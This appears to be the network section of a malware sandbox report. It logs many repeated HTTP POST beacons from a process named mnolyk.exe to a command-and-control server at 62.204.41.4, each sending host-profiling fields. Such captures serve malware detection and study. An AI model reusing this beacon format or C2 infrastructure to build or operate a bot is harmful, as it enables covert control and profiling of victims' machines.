Feb 7, 2023 23:08:20.651521921 CET	404	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:20.715797901 CET	404	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.7	49723	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:08.598237991 CET	133	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:08.660135984 CET	133	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	192.168.2.7	49985	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:20.913009882 CET	405	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:20.976932049 CET	405	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	192.168.2.7	49986	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:21.156436920 CET	406	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:21.219510078 CET	406	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.2.7	49987	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:21.404062986 CET	407	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:21.467391968 CET	407	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	192.168.2.7	49988	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:21.653563976 CET	408	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:21.719542027 CET	408	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.2.7	49989	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:21.900932074 CET	409	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:21.967075109 CET	409	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	192.168.2.7	49990	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:22.153608084 CET	410	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:22.219158888 CET	410	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.2.7	49991	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:22.396521091 CET	411	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:22.459316969 CET	411	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	192.168.2.7	49992	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:22.643208981 CET	412	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:22.707648039 CET	412	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.2.7	49993	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:22.893784046 CET	413	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:22.958950043 CET	413	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	192.168.2.7	49994	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:23.133002996 CET	414	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:23.197545052 CET	414	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49697	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:01.357866049 CET	11	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:01.422851086 CET	25	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.7	49724	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:08.827018976 CET	134	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:08.890192986 CET	134	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.2.7	49995	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:23.383016109 CET	415	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:23.447137117 CET	415	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
301	192.168.2.7	49996	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:23.620454073 CET	416	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:23.682626009 CET	416	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
302	192.168.2.7	49997	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:23.882400990 CET	417	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:23.947484970 CET	417	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
303	192.168.2.7	49998	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:24.116920948 CET	418	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:24.179281950 CET	418	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
304	192.168.2.7	49999	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:24.351918936 CET	419	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:24.415993929 CET	419	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
305	192.168.2.7	50000	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:24.592011929 CET	420	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:24.655093908 CET	420	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
306	192.168.2.7	50001	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:24.834270000 CET	421	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:24.897998095 CET	421	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
307	192.168.2.7	50002	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:25.080418110 CET	422	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
